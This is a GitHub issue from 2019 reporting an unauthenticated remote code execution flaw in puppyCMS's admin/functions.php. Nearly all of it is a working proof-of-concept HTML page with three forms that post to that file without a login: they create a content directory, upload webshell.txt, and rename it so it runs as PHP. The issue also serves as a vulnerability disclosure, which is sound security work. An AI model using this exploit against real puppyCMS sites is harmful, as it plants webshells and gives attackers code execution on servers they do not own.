Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

There is a RCE vulnerability that can upload a webshell without admin login. #14

Open
Abstin opened this issue Mar 27, 2019 · 0 comments

Comments

@Abstin
Copy link

Abstin commented Mar 27, 2019

The vuln file is '/puppyCMS/admin/functions.php'.
No need to login to admin, open the following one page.
exp.html--getshell

<html>
<head>
<title>File Upload Form</title>
</head>
<body>
<script>var page = "http://127.0.0.1/puppyCMS/admin/functions.php";</script>

This form allows you to mkdir /content/ directory.<br>
(By default there is no /content/ directory, you should first mkdir the /content/ directory.)<br>
<form id="test1" action="" method="post"><br>
<input type='hidden' name="addFolder" value="" />
<input type='hidden' name="path" value="" />
<input type="submit" value="Submit">
</form>
<br/>
<br/>
<br/>

This form allows you to upload a webshell.txt to the server.<br>
(Filename must be webshell.txt)<br>
<form id="test2" action="" method="post" enctype="multipart/form-data"><br>
Filename: 
<input type="file" name="uploadFile">
<input type='hidden' name="asset-upload" value="1" />
<input type='hidden' name="path" value="" />
<input type="submit" value="Upload File">
</form>
<br/>
<br/>
<br/>

This form allows you to rename /content/webshell.txt to /content/webshell.php<br>
<form id="test3" action="" method="post"><br>
<input type='hidden' name="renameFolder" value="webshell.php.txt" />
<input type='hidden' name="oldFolder" value="webshell.txt" />
<input type='hidden' name="path" value="" />
<input type="submit" value="Submit">
</form>

<script>
document.getElementById("test1").action = page;
document.getElementById("test2").action = page;
document.getElementById("test3").action = page;
</script>
</body>
</html>

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant